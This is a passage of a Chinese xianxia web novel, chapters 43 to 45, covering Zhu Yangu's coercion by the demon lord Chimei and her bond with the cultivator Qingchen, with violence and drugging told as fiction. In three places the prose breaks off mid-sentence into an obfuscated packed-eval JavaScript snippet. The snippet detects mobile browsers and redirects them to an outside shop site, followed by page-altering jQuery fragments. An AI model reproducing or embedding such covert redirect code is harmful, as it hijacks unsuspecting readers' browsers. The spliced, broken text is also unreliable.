舒扬舟理所当然,他对师父以及当年的颜琅前辈有种近乎邪教的崇拜,发自内心认同:“当然没降世,检测厉鬼降世的法器是当年颜琅亲创,他的剑虽入了邪道,但颜琅前辈至死都一心为了修界,况且他那法器,师父他后来又做了进一步优化,两相叠加,定不会出纰漏。” “可之前我们以为弟子们的命石不灭,他们的性命就也没有危险。”谢扶光淡淡指出。 秘境中诸事诡谲,从她的重生,到器墓迷阵中被剥魂夺壳的器灵主人们,再到叶放和朱颜故骤然被螭寐盯上…… 她现在看什么都觉假假真真,听到“没纰漏”三字只觉荒诞。 舒扬舟唇角回落,又恢复成一贯的凉薄弧度,对她的话点了点头:“好,出去后我会多加留意多重证实,此事非同小可,确实不能太过武断。” 他这样说,仍未能解谢扶光的心慌。 “希望我们能顺利通关秘境吧。”她说。 她一句话又让人想起本该出局却误入镜面阵的圆脸兄等人,也不知他们有没有走出去。 几人一时都不再开口。 不知过了多久,半空又是一亮,光亮是浮现金字的先兆。 然而这次,比金字先来的是两块飞来石。 “不会要换规则吧。”上一场轮回中,轮回境规则就是飞来石发布的。舒扬舟嫌麻烦地啧了一声,伸手去接,两块石头竟长了眼似的,统统避开他,一前一后落在崔惊厄和谢扶光两人掌心。 舒扬舟:…… 他很无语,金字却空前话多。 【恭喜悲问寺崔惊厄,在轻尘的轮回境中被境主人引为同生共死的挚友,境主人愿将珍贵的毕生记忆全部交付,尽收录于你手上飞来石中。】 【恭喜渡业山谢扶光,在朱颜故的轮回境中被境主人引为亲密无间的姐妹,境主人愿将珍贵的毕生记忆全部交付,尽收录于你手上飞来石中。】 两行相似金字同时浮现,手上飞来石顿时就添了厚重。 不可避免想到上场轮回最后的那一战,谢扶光和崔惊厄互视一眼,两人面上都不是太好看。 “那个,我宫中还有公务,先失陪了,过后有什么需要配合记得找我。”舒扬舟没有与轻尘和朱颜故同生共死过,不是他们心甘情愿交付记忆的人,出于礼貌没有要求共同查看。 他走后,崔惊厄和谢扶光携飞来石寻到一个僻静处,飞来石投射出两道光影,如巨幅画卷,徐徐展开轻尘和朱颜故的各自生平。 轻尘出身寒苦,幸得奇绝灵骨,机缘巧合被酗酒的父亲卖给明镜台当时的掌门换了酒钱,自此开启风光无限的亲传大弟子岁月; 朱颜故出身王宫,本该作为小公主众星捧月长大,却因天生两根花茎被判为残疾,自幼不得喜爱,饱受轻慢。 此外,朱颜故是她后来的名字,她原本的名字只是“阿葵”,听来虽草率,却不失明媚。 上一场轮回,从舒扬舟为她赐名“朱颜故”开始,就全都搞错了。 43.朱颜故 细碎的幼年时光一闪而过,朱颜故五岁那年,两段记忆的主人终于迎来他们的第一场相逢。 记得上场轮回中,朱颜故称自己初遇轻尘,是因偷跑入人界游玩,被修士所伤。 而原本记忆里,葵花宫的王上并非舒扬舟,没了好父亲的庇护,她日子过得相当艰难,是为了不挨打才躲入人界的。 说来惭愧,其中欺凌她最狠的恶妖便是谢扶光当前的身份——葵花宫的大公主。 巧合的是,那打伤她的修士也正是崔惊厄的身份——明镜台三弟子,轻尘的师弟。 轻尘入师门很早,师弟们年纪多不及他大,遇到朱颜故那年,他不过也只有十岁。 因少时与醉鬼父亲生活的经历,轻尘少年老成,很会照顾人,他不仅给朱颜故输了灵力,还为她医好了身上外伤。 幼年的朱颜故不是那种讨人喜欢的小太阳,做不到置身逆境仍满心乐观,被救醒后她也没有说谢谢,整个人把丧气大写在脸上,仿佛下一句就要脱口“老娘早活够了,要你救个鬼?” 被生活磋磨的忧郁与她洋娃娃似的稚嫩脸庞相当违和,看起来有些滑稽,十岁的轻尘没忍住,噗嗤就笑了一声。 朱颜故被人嘲笑惯了,恹恹垂着眸子没什么反应。 倒是轻尘轻咳两声,正了正神色:“抱歉,是我失礼。” 真稀奇,朱颜故头回看见对她失礼后还会说抱歉的活物,不由打量他一眼。 见她看来,轻尘问:“我见姑娘情绪不太好,是有什么难处么?” 打骂朱颜故早已习惯,这轻飘飘一句询问,竟勾起她满心委屈。到底是个五岁小姑娘,她嘴一咧,当即就嚎了出来,攒了五年的大鼻涕直往轻尘雪白袖口上蹭:“妈蛋!活着就特么烦死了,天天挨一群杂碎的打!” 儒雅小半生的轻尘道长被这粗鲁做派整不会了,足足怔愣好一会儿,才从怀里掏出锦帕,为朱颜故拭去眼泪和鼻涕:“姑娘家要……斯文。” 可能是他这模样太呆,正哭得起劲儿的朱颜故噗嗤一乐,冒了个硕大的鼻涕泡儿。 轻尘见她笑了,也跟着勾了勾唇角,这厮大概天生是普度众生的命,半点不嫌弃地又把那颗破了的鼻涕泡为小朱颜故拭去,而后端起道长架子教育道:“你会受欺负,是因为不够强大,与其自怨自艾,不如努力修炼自己,成长为厉害的大人。” 他一通谆谆教诲没有白费,朱颜故还真听进去了,她接过锦帕,身体力行贯彻:强大从自己擦鼻涕做起。 把漂亮的小脸弄干净后,她仰起头问:“你是好人,我喜欢你,等我强大以后,可以去找你么?” 轻尘点点头:“我叫轻尘,就在明镜台修道,欢迎你来找我,我们一起除恶诛邪。” 轮回境中诸事脉络基本会遵循现实轨迹,而因外人外力进入,许多前提发生改变,结果却仍是原来那样,时常会显得不太有逻辑。 譬如朱颜故无端想要修道,又譬如螭寐突然的针对,都毫无根据地发生了。 而看过朱颜故的真实记忆,一切便都有了解释。 与轻尘意外的初遇,便是朱颜故踏上修道这条路的起点。 轻尘灵骨奇绝,朱颜故亦堪称妖中的修道圣体,天生双茎的“残疾”令她能自如流转灵力与妖力,轻尘传给她的灵力意外在她体内贮存起来,随修道日久,还能不断增长。 每年与轻尘初遇的日子,朱颜故都会去鹧鸪山脚转上一圈,只因鹧鸪山上有个明镜台,而明镜台中有个与她有约的呆子道长。 发现自己能灵活转化灵力与妖力是在第七个初遇纪念日,彼时的朱颜故于修道上已小有所成,不仅不会再挨欺负,还能为其他受欺负的小妖伸张正义,偶尔兴致起来,去到人界除个恶诛个邪,旁人问她名号,她都称是明镜台轻尘道长的朋友,日子过得还算快哉。 未承想福兮祸所伏,灵力与妖力的灵活转化竟成了日后灾祸的温床。 起因还是她的大姐——谢扶光扮演的那位大公主。 这大公主不知怎的,就见不得自家二妹好,一心揪她错处。某日跟踪途中她发现朱颜故能制灵活转化灵气与妖气的丹药,告诉给父王,而父王日渐年迈,早已不管事,真打起来甚至不一定能从朱颜故身上讨到好处,她一计不成,遂打了个更大的主意。 不知她如何周转,让朱颜故制特种丹药频频出妖魔界的事传入了螭寐身边某个狗腿子耳中,按时间推算,彼时螭寐应正盘算着剥魂夺壳、让麾下魔兵扮作弟子混入修界一事,传言此刻流入耳中,无异打瞌睡有人递枕头。 真正的葵花宫王上远不似舒扬舟这般善战,趁朱颜故又一次顶着轻尘朋友的名号出界当侠女,螭寐不过派出一队魔兵,就生擒了没用的葵花妖全族。 朱颜故自幼饱受恶待,无论对父母还是兄弟姊妹都没什么感情,但葵花妖一族不只有一个葵花宫,其下更多的则是本本分分过日子的无辜百姓。他们比她的父王母后与兄姊们要善良,也更苦命。 她终究是没能放下,让螭寐拥有了牵制她的筹码。 道德的崩塌通常不在轰然之间,而是底线一寸寸的下降。 一开始,螭寐只说看中了她的丹药,想要她多炼制一批供给他使用,他甚至允诺朱颜故会给她许多好处,表情语气都好不和善。 朱颜故自然对所谓“好处”并不贪慕,唯一的要求是放掉她的族人。当然,她那位大姐可以任由螭寐处置,毕竟她自认不是圣母,这些年一忍再忍,早已厌烦。 螭寐不是什么好东西,这点朱颜故自然知道,可她被架在了族人与道义之间,若只是炼制丹药,似乎还可以接受,况且那丹药持续效力有限,待族人被放出来后提醒修界加强防控,应当就不会有什么太大问题。 至于可能的风险,她不愿也不敢去想。 就这样,她一边一遍遍宽慰自己不会出事,事情总能够解决,一边为螭寐炼制了一批丹药。 也正是在这期间,她发现自己道心开始不纯,无法修炼了。轻尘的灵力淌在她一根花茎里,随着使用越来越少,再不会增长分毫。 彼时的朱颜故还太年轻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13306597|133453||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,与她在第一场轮回中死去时一样大,从小到大,从没人教过她,与螭寐这等大魔头做交易,是没有终结的,只有越陷越深与一死解脱的分别。 第一批丹药不多,朱颜故称自己体内灵力已然枯竭,再炼不出丹药了。 可螭寐没有轻易放过她,他看着她,嘴角挂着慈祥的微笑,声音温和:“阿葵,你之前能有,以后便依然能有,本尊相信你,可以为了你的族人,去修界再抢些灵力来。” 朱颜故开始感到不妙。 “我从没想过要伤人。”她再次强调,“丹药我只能拿出这么多,不够的话我也没办法了。” 螭寐嘴角弧度放大,轻快地拍了拍手,掌心相击发出清脆悦耳的声音。 手下魔兵闻声将一男童拖入大殿,男童只四五岁大,与她初遇轻尘时一般年岁,哭声里带着磨人的刺。 “真吵啊……” 螭寐看着朱颜故,突然歪了一下头,但听“咯嘣”一声,哭声停止,男童的头软绵绵的耷拉下来,脖子断的彻底。 “阿葵,若我是你的族人,一定会劝你好好再想想。” 朱颜故心火沸腾,烧得眼底猩红,她捏紧拳头,不管不顾冲上前,然而螭寐没给她壮烈成仁的机会。仿佛只是打发一只蝼蚁,他很随意地挥一挥手,一缕黑气缠上朱颜故身体,火噬般的痛意席卷全身,朱颜故痛苦张口,喉咙却被那黑气钳着,连声都发不出。 欣赏她挣扎了一会儿,螭寐撤掉黑气,虚伪地抱歉道:“你看,你不配合我,闹得多难看。” “我奉劝你,珍惜你的小命,不然我这么看重你,怎么舍得你在阴曹地府孤独,定要让你的全部族人一道陪你去的。” 出了螭寐的魔尊殿,她走了很久很久,路过从前修道时最喜欢待的那片湖,坐在湖畔一块巨石上,蓦地就笑出了声。 难怪妖魔界中生灵修道,鲜少能有所成。 她从前也真是傻,竟还妄想过修成仙骨,赴与轻尘那个虚无缥缈、或许只她一人记得的约。 妖魔界乃没有公理与法治之地,这样的地方,想留住一颗善心,实在太难了。 尸山血海里的王不放过你,你就真的什么办法都没有,甚至无法做主自己的命。 取灵力容易,但跨过心里那道坎很难,朱颜故头一回想要出手,就没能成功。 她从前帮百姓诛邪时,抛头露面的次数不少,她失魂落魄行在路上,被一位大娘叫破身份。 “哎呀,这不是轻尘那位朋友嘛!”大娘热情招呼,还当她也是山上的修士,“又下山帮忙啊?咱南远洲真是多亏你们这些修士了……” 朱颜故心里一刺,选择否认:“我不是,大娘,我不认识什么轻尘,您大概是认错人了。” “啊?可你长得分明……”大娘有点懵,眯起眼仔细辨认。 朱颜故低头一笑,避开她的视线。 “真的认错了,我叫朱颜故。” 从此世间已无阿葵。 血染向阳心,雪覆来时路,但看囫囵身,仅剩朱颜故。 44.双赌约 朱颜故行事喜欢正大光明,在距鹧鸪山不远的集市中支了个招牌:“比武招灵力”。 欢迎有意愿的修士与她过招,若能赢过她,她便奉上黄金十两,若输给她,则需得留下些灵力给她。 螭寐给了她许多黄金珠宝,这些寻常人眼里至臻至贵的东西,在她看来不过俗物一摊,想到是螭寐给的,更是恶心不已。 十两黄金不是小数目,一点灵力也不算多贵重的东西,前来比武者不少,朱颜故多半赢,偶尔输,夜间拖着酸痛疲惫的身体回去炼丹药,日复一日。 她第二次给螭寐的丹药有近千颗。 “现在应该够了吧。”朱颜故眼中没什么光彩,嘴角绷得平直,“放了我的族人。” “哎~别急,来,阿葵,坐下喝杯茶。”螭寐没什么架子地亲手给她斟了一杯,杯中色红浓稠,哪里是茶,分明是血,朱颜故干呕一声,眼底生理性泛起湿润,同样潮湿的还有心情。 “阿葵啊,我与一个朋友又研究了一下,”螭寐给自己也倒了杯血,姿态餍足如品尝珍肴,“你的丹药最多只能作用几个时辰,还是太消耗了,可以再改进一下。我那个朋友建议在其中加入精壮修士的纯阳精气,那玩意儿可是上等阳/物,每颗丹药里只加入一点点,便能延长丹药作用时间至月余。” 朱颜故捏紧拳头。 魔尊殿内,又是一翻博弈,这次没有上回惨烈,朱颜故对今日事或许早有预感,更快地选择了妥协。 …… “螭寐那般执意要带朱颜故回去,原是为了这个。”谢扶光看着飞来石的记忆投影,那枚平平无奇的白色丹药她也曾吃过,彼时不知那竟是一切罪祸的开端。 “既是如此,与叶放的话便能对上了。”崔惊厄说。 原来魔兵们隐匿气息藏进修界弟子躯壳的秘密,就在朱颜故这里。 轻尘的飞来石同时也在放映着记忆。 “轻尘师兄,近来不少外门弟子被妖女吸了精气,元阳大散,再没法修炼了。”前来报信的是明镜台三弟子。 轻尘刚练完剑,收剑归鞘,冷静询问:“是何处妖女?为何要吸人精气?” “妖精吸精气,话本子里不很常见么。”三弟子对缘由不以为意,只说,“二师兄昨日带人去捉,险些让那妖女给扣船里,此女怕是千年狐狸成了精,道行不浅。” 轻尘听出他意思:“好,此事我会出面。” 鹧鸪山下一醉湖,一醉湖中伤心舫,伤心舫上断肠人。 那一夜,舫上幽幽跳动的鬼火与往日并无什么不同,湖畔老树藤上的红木秋千也仍旧无风自动,似乎是个很寻常的日子,朱颜故迎来与轻尘的第二次相逢。 轻尘来时朱颜故正在饮酒,余光浅浅扫过那截天青色道袍,掌心烈酒骤然就失了味道。 朱颜故曾幻想过无数次与轻尘的重逢,唯独不是如今这副模样。 她停下饮酒的动作,转着酒坛很认真地看了许久,喃喃出声:“是西风烈啊,怎么……不够劲儿了呢。” 地上已空了一堆酒坛,可见到轻尘的一瞬,原本压下的愁还是蔓了上来。 轻尘可以说是现在的朱颜故最不愿见到的人。 但她也知道,总会有这么一天,约定过待强大后相见的人分立在正邪两面,相对而峙。 “罢了,早死早超生。”朱颜故嘀咕一句,从足有两人高的秋千跃下。 空中天旋地转,她醉得发昏,落地时一个趔趄,轻尘却扶住了她。 当年的小道士如今长成了一张清冷出尘的脸,眉宇间正气浑然天成,立在咫尺眼前也像山巅上的晶莹白雪,与她隔开天堑一样的间距,既纯净也冷情。 但他的话却是暖的,与十三年前一样。 “今夜风大,姑娘回家去吧,往后不要再来了。” 朱颜故在风中怔愣少顷,亦如十三年前那般鼻酸,但她已不会再放声大哭,更不会再用他的衣袖擦鼻涕了。 她很快收敛好阿葵的情绪,演绎出朱颜故应有的模样,她拍拍轻尘的脸,笑眼含勾,粉黛未施却娇妍至极,端的是媚骨天成:“道长过来,是要与我登船寻欢么?” 轻尘被这一拍一笑的轻薄惊红了面,一张嘴开了又闭,最终说的是:“你喝这么多做什么?” 朱颜故闻言,兀地咯咯笑起来,她越笑越疯,如万千花枝一齐颤动,最后细细喘着气说:“醉酒嘛,当然是有愁了。” “什么愁?”轻尘顺着她的话问。 “你登了我的船,我便告诉你,”朱颜故嗓音又细又软,整个人姿态说不出的轻浮,贴在他耳畔轻声说,“妾愿……穷竭毕生力,纵君今夜欢呢~” 这话一出,轻尘喉结剧烈一滚,向后猛撤一步。 “姑娘自重,这不是该对朋友说的话。” 朱颜故就要勾他腰带的手骤然一顿:“你,你说什么?” “来之前,我向附近的人打听过,知道姑娘曾以我朋友的名义做过许多好事,走到今日这步定然是无奈之举,如有什么困难不妨说给我听,我愿意尽我所能帮你。”轻尘看着她,一字一顿,目光炽诚。 他天生一副慈悲眼,专注看她时,有救世主一样的说服力。 看着这双眼,朱颜故心头却起了一丝恨意。 多荒唐,这操蛋的世界先毁去她的希望,在她破烂不堪之际,偏偏……偏偏又把这么一个干净的人送回到她面前。 “你这话什么意思?”她眸色转厉,“有谁规定我没有无奈,没有难处,就不能自甘堕落么?” 轻尘发出一声很轻微的叹息。 “道长既不是来上我的船,也不想与我寻欢作乐,就请回去吧。”朱颜故烦躁赶客。 “我不会走。”轻尘却在她荡秋千的树下盘坐下来,“此事我已接下,势必要个结果。” “所以你是要赖在这儿?”她深呼吸平稳了心绪,从适才的暴戾中恢复,见轻尘默认,又披上朱颜故的皮咯咯笑问,“那道长不怕与我相处久了,会爱上我么?” “要不要赌一场,我赌你会栽在我手里的。” 轻尘已闭目盘坐,一副两耳不闻窗外事的圣贤模样,闻言竟接了话:“好,那我赌我可以帮你,只要你把你的愁告诉我。” 他说完,半晌没得到回应,遂睁开眼睛看她,刚掀起眼皮鼻端便袭上一缕幽香。 朱颜故猝然凑上前,落了一吻在他左侧耳垂。 “你……” 不待说出自重二字,他整个人神识一片涤荡。 她身上幽香里掺了迷药,而这一吻的热度更催发了药性。 轻尘眉头紧蹙,想要避开,无奈药性太足,他眼前一黑,终究失了知觉。 彻底失去意识前,恍惚听见她说:“这场赌局,最好我们两个谁都不要赢。” 轻尘左耳垂的正中心有颗圣洁的朱砂痣,现在那里纠缠了一个殷红唇印,淫丽糜艳。 朱颜故取出十三年前他留给她的旧帕,拭去那颓唐痕迹,像在擦掉她自己。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13338101|133453||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “轻尘,你是山巅上的雪,莫沾我污名。” 轻尘再醒来时,衣衫完好,浑身无一处伤,静静躺在朱颜故最爱荡的那架秋千上,放眼四周,放他睡在这里的人早不见了。 舫与人皆消失,唯一醉湖依旧。 这天过后,他们有近一个月没见到。 飞来石飞速掠过两人生时残影,看似两不相见,轨迹却总有勾连的地方。 朱颜故回了葵花宫,曾经吝于予她立锥之地的地方,如今已空空荡荡,整间宫殿全归她享用。 但她甚至没有去那些宽敞明亮的房间转上一圈,照旧缩进了自己阴暗的小木房。 现在的她,已经不爱晒太阳了。 修士在最意乱情迷之时,精气才会涌出,她掌握着床上的火候,虽不至做到最后一步,可之前那些曲意逢迎与耳鬓厮磨做不得假。她时常恶心得要命,这种事每做一次,都要去市上沽酒,最烈的西风烈,喝完大吐一场,那股子反胃劲才能消下。 唯独落在轻尘左耳的那一吻,是清甜的。 他真是与旁人不一样。 朱颜故花上半月时间,利用采集到的那些精气,为螭寐炼制了第一批新的丹药。 螭寐看起来相当高兴,但仍旧没放她的族人,只说还要更多。 上位者随性而为的出尔反尔,朱颜故时已习惯。 她不再寄希望于螭寐会履行承诺,刻意拖慢着做事的进程,空下来的时间便去看书。 螭寐既然需要她的丹药,或许她可以在丹药上动些手脚,反拿捏住螭寐,让他中招,逼迫他不得不放掉自己的族人。 只是这手脚需得足够隐秘,她如今的炼药功力还差得远。 朱颜故日夜无休,把鬼市上能淘到的相关典籍全都翻了一遍,没什么收获。 她问那书贩子还有没有更多,对方称这种典籍多存于修界各大宗门的书库。 为防螭寐起疑,朱颜故不能跑太远,没法子,她只得含了粒丹药,趁夜潜入明镜台。 她仅有的运气大概在十三年前遇见轻尘时耗了个干净,这些年下来,经常事与愿违。 譬如这一夜,在书库里,她就见到了最不愿见的人。 轻尘这些时日虽未见朱颜故,自己却没闲着,他每日晨间练剑结束,便下山沿着朱颜故走过的路,与她见过的人交谈,有关“那位朋友”的一切,他都很感兴趣。 经过不懈努力,他逐渐拼凑出,朱颜故喜欢晒太阳,穿明黄色衣裳,偶尔发间会插一朵小葵花,既开朗又健谈。 她每回出门,都随身携两方帕子,一方干擦汗拭手之类的脏活,另一方则宝贝得不行,只是看着,还不让别人碰。 她诛邪时,偶尔也会碰上其他修士,她与有些人相处很好,有些不好,但无一例外,没有修士觉得她是只妖。 掌握这些信息以后,轻尘还偷偷入了回妖魔界。 其实以他的身份,不该随意进去。类似螭寐入人界与寻常小妖入人界,会得到不同程度的重视,轻尘作为修界很知名的弟子,背后也有许多双隐形眼睛在有意无意盯着。 但他还是去了。 妖魔界之行他了解到,朱颜故确系葵花妖一族,而葵花妖全族不知为何,已于半年前离奇消失。 轻尘还在鬼市遇见了卖朱颜故书的小妖贩,很不正大光明地给那小贩塞了点好处,让他帮忙传个话: “下回她再来,你就跟她说,书没有了,若实在想看得去明镜台。” 45.伥鬼 那是个雨横风狂的深夜,以朱颜故正常的妖脑来思考,她不觉得会有变态修士废寝忘食到在二更的暴雨夜去书库点灯熬油。 可惜她漏算了一步,“变态”不仅有,还是专门等她的。 朱颜故刚进门,室内便亮了盏灯,像欢迎她光临一样。 她还当明镜台布下了什么天罗地网,擎等着她钻,正要仓皇退出,身后门已吱呀闭合。 她觉得这一趟很倒霉,私心又有点隐秘的欢喜。 这可不是她自己寻死的,只是今日赶巧踩中解脱运,这操蛋的世界,终于要再他妈见了。 “阿葵。”身后却有人叫了她一声。 轻轻淡淡,落进耳洞却砸出不朽的回音。 朱颜故回头,她只看到轻尘。 窗外雨急风骤,室内孤灯如豆。 烛火摇曳出暧昧的光晕,轻尘眉目隐进阴影,发梢还挂着雨珠。 被雨水润得嫣红的唇轻轻一勾,他笑意温雅:“堵到你了。” 昏光、湿发,这样的轻尘容颜极盛,可惜朱颜故无暇欣赏,她只觉得他脑子里生了什么大病。 “好端端你堵我干什么?”她问。 是啊? 好端端的,堵她干什么呢? 这个问题,他的三师弟也曾问过他。 毕竟为了一个失去踪影的妖女日夜奔走,实在不太像他。 也是那一刻,他恍然意识到…… “或许是因为你赌赢了吧。” 于他而言,情之所起在于道的亏损,是明知不应如此但他仍是做了。 轻尘依旧面皮很薄,只这一句,左耳的朱砂痣红得已要滴血。 “但我也未必会输,”他接着说,“你的族人我会帮忙想办法。” “在此之前,可以给我看看你很珍贵的那方小手帕吗?有个猜测我很有必要印证一下。” 这一夜是朱颜故生命最后一年里难得的欢愉时光。 她与轻尘忆了旧事,惊喜地发现轻尘还记得她,甚至也一直期待着她来找他的那一天。 她向他坦诚葵花妖一族与自己的遭遇、包括双茎的特别、被觊觎的丹药与想要在后续丹药中做手脚的想法。 轻尘宽慰她,螭寐索取丹药既然可能对修界不利,此事修界便绝不会置之不顾。 他说他明日会修书给其他几个大宗门,螭寐虽然强,但合众宗之力,未必不能将其打倒,叫她切莫过分忧虑,安心睡个好觉…… 轻尘隔日确如他承诺的那般,给各宗都寄了信,鉴于朱颜故所说螭寐先前已拿到了大量丹药,唯恐修界已有妖魔混入,他寄信的对象全是各修界大能,并严格叮嘱他们保密。 然而事情远不似预想中那般顺利。 各宗大能看在他师父是明镜台掌门的面子上,纡尊降贵打发了回信过来。 轻尘满怀希望拆开一封又一封,一颗火热的心一寸寸转凉。 他突然发现,自己对修界仿佛也不似想象中那般了解。 所有回信的矛头对准的竟不是螭寐,而是朱颜故。 有人委婉些,半真半假质疑了一通他信中所言全是妖女巧言令色的哄骗,能自如转换气息的丹药匪夷所思,如此恶妖合该伏法; 还有人则更坦荡些,提出丹药既由妖女提供,干脆取其性命小事化了,为了修界的安稳避开螭寐锋芒。 于是不光螭寐不放过朱颜故,修界也要杀她了。 原本是为救朱颜故写的信,竟生生为她把磨难又多招来一重。 明镜台掌门殿中,轻尘跪的端正。 “师父,我们口口声声称自己名门正派,向天下宣言惩恶扬善,而今面前就有亟待解决的恶,为何避而不战?”他向他敬爱多年的师父发问,“此举岂非有违道心?” 掌门坐在高位,向下俯视自己的爱徒,眼中无悲无悯,只有冰冷的衡量。 他甚至很有闲情地饮了口茶才说:“道与义都说给圣人听,而天下最多的却是凡人,凡人行凡事,而凡事皆有代价。能睁只眼闭只眼过去的,何必较真一场,徒增伤耗,杀一个妖女已是最省力的法子了。” 有光透进殿中,满室尘灰无所遁形,许多人事皆如此,看似明净,实则不堪一曝。 轻尘明白了: 事关修界与人界安危,此事他们不能不处理,否则那冠冕堂皇的大义会裂开一条沟壑,而始作俑者他们又不欲招惹,所以这道裂痕得由一个合适的替罪人用鲜血来填平。 轻尘唇角挑起一个讽刺的弧度,只维持一瞬又及时收了回来。他读的是圣贤书,做不出这样的表情。 “她脚下没有漂杵血河,座下没有如山白骨,她不曾枉费心机踩着旁人性命往上爬,她坐不到那个能令人忌惮的位置上……”他眼眶酸涩,“这也是错么?” “够了!”掌门截住他的话,在他面前神色头一遭如此严厉。 意识到失态,他深深吐息平稳下心绪,尽量和颜悦色:“你久居深山,心性单纯,会这样想不能怪你……这样,斩杀朱颜故的事不用你办了,你下山去,好好看看这世上的人和事,见的多了自也就懂了。” “可世人都在做的,便是对的么?”轻尘身子一贯挺得直,他仰着头,字字铿锵:“那为何欺软怕硬、随波逐流没有被编纂成典流传于世?” “师父,曲与直、是与非不会因世人的接受和妥协而混淆界限,即便螭寐的行径得到了全天下软弱之辈的默许,也改变不了他该死的事实!” “轻尘,算师父求你,明哲保身,不要做出头鸟,此事就得过且过吧。”掌门软硬兼施:“在你自己之前,你首先是明镜台未来百年的荣耀,是为师栽培二十年的希望!” “明哲保身……好一个明哲保身,”轻尘将这四字呢喃数遍,神色复杂,他突然笑了一下,或许有讥诮,或许只是自嘲:“明哲保身,然后成为利益的囚徒、受生存法则操纵的傀儡么?” “师父,”末了,他轻声叹息:“这样,你会杀了我。” 轻尘难以想象,终有一日,自己也会龟缩在约定俗成又上不得台面的生存法则下,怡然享受薄粉饰成的平静与安稳。 他胸腔中陡然升腾起一股怨愤。 文史赋予灵魂以气节,铮铮傲骨却被现实逼着折断,既如此,何不在人之初启蒙时便坦诚一点,少来些冠冕堂皇的“惑众妖言”? “轻尘啊……” 见他神色执迷,掌门又唤他一声,叹息里竟掺杂了些乞求。 他头发已然半白,这白像雪一样覆灭轻尘的心火,也为这快要冻结的气氛愈添了一抹萧条。 轻尘与他对视,念及昔日教导,难免心下动容。 室中一片死寂,每分每秒都淌得艰涩无比。 终于,轻尘横下心,咬牙跪地,俯身对恩师叩首:“或许您没有错,可我手中剑从不臣尊者,也无惧枭雄,所循唯一个‘道’字,此番若未能把黑白割开,令罪人血偿,为不累及明镜台,轻尘甘被逐出。” “师父,我这颗子便 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13369813|133453||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 弃了吧。” 明哲保身? 他心已入局,早保不住了。 是非之间有道江,他看见自己站在“非”的一侧,身边人却都告诉他这侧是“是”,没人愿与他一起搭过江的桥梁。 但是没关系,没有那座桥,他便游过去,溺毙水中,他就做个壮烈的殉道鬼。 江的对岸,既是道之所在,亦是情之所钟,虽千万人却步,但他轻尘赴了! 掌门坐在高位,俯视地上跪着的轻尘,如同俯视一只蚍蜉。他是那样渺小,又那样意气风发。 曾几何时,他也面临过轻尘今日的挣扎,然而,他的最后一根反骨是被他自己折断的。 他生在虎穴,死于虎口,而今已成伥鬼。 做出决定后,轻尘想过可能会在这条偏离众望的路上死于半途,或许落个比死还不如的结局,他甚至想过终有一日多半要与昔日师友拔剑相向…… 却难料,同生共死竟也是件稀罕事,不等他与朱颜故风雨同舟,她的路先走到了尽头。 变故源于他的三师弟。 众所周知,明镜台三弟子深深敬重轻尘这个年岁还不及他大的小师兄,轻尘执意“入歧途”,他受的打击不比掌门小。 于是,他决意从根源上改变些什么,将轻尘从不归路上拽回来。 同样在一个乍暖还寒的三月天,这位三弟子在摸排半月后,顶着极大的风险,自以为是地利用从轻尘那儿偷来的、准备送给朱颜故作生辰礼的日现暝昏符咒,将螭寐收押葵花妖全族的私牢炸了个灰飞烟灭。 已大半年未见天光的葵花妖们,惊惶尖叫着陨灭于这场太阳一样炽烈的大火中。 “师兄,我知你对朱姑娘有情,她妖物身份虽配不上你,但既然你喜欢,我这做师弟的也不会多说什么。”明镜台三弟子被难得暴怒的轻尘死拽住衣领,嘴角噙的笑却尽显快意,“但你大好前程,何必与她共沉沦?师兄放心,事情我做的很干净,任螭寐有再大神通,也握不到我们明镜台的把柄。” “哦,还有,我还顺便替朱姑娘报了个仇,听说她那个大姐很不是东西,丹药的事就是她捅进了螭寐耳朵里,所以我特地把她揪出来,千刀万剐,让她血尽而死。”感受到轻尘的手在抑制不住地颤抖,他感到不忿,“一群妖物而已,非我族类,师兄,朱姑娘不是给你留下了么,你究竟在气什么?” “疯了,”轻尘手臂脱力般垂下,看着眼前熟悉的师弟,喉间翻涌起浓郁的荒唐,他身形摇晃两下,惊怒攻心,骤然呕出一大口血,“你们一个个……” 他没有说下去。 在这一霎,恩师的脸与师弟的两相重叠,扭曲成可怖的形状。 这些时日,大部分时间他坚信众人皆醉唯独他醒着,偶尔也会恍惚或许自己才是真正醉的那个,不然怎么身边每一个人都跟他不一样呢? “师兄!”三弟子上前欲扶他。 轻尘竖起掌心向外,不允他碰触。 他前襟染血,像绽开大朵红莲,衣袖缓缓拭去唇畔血迹,无力地闭了闭眼。 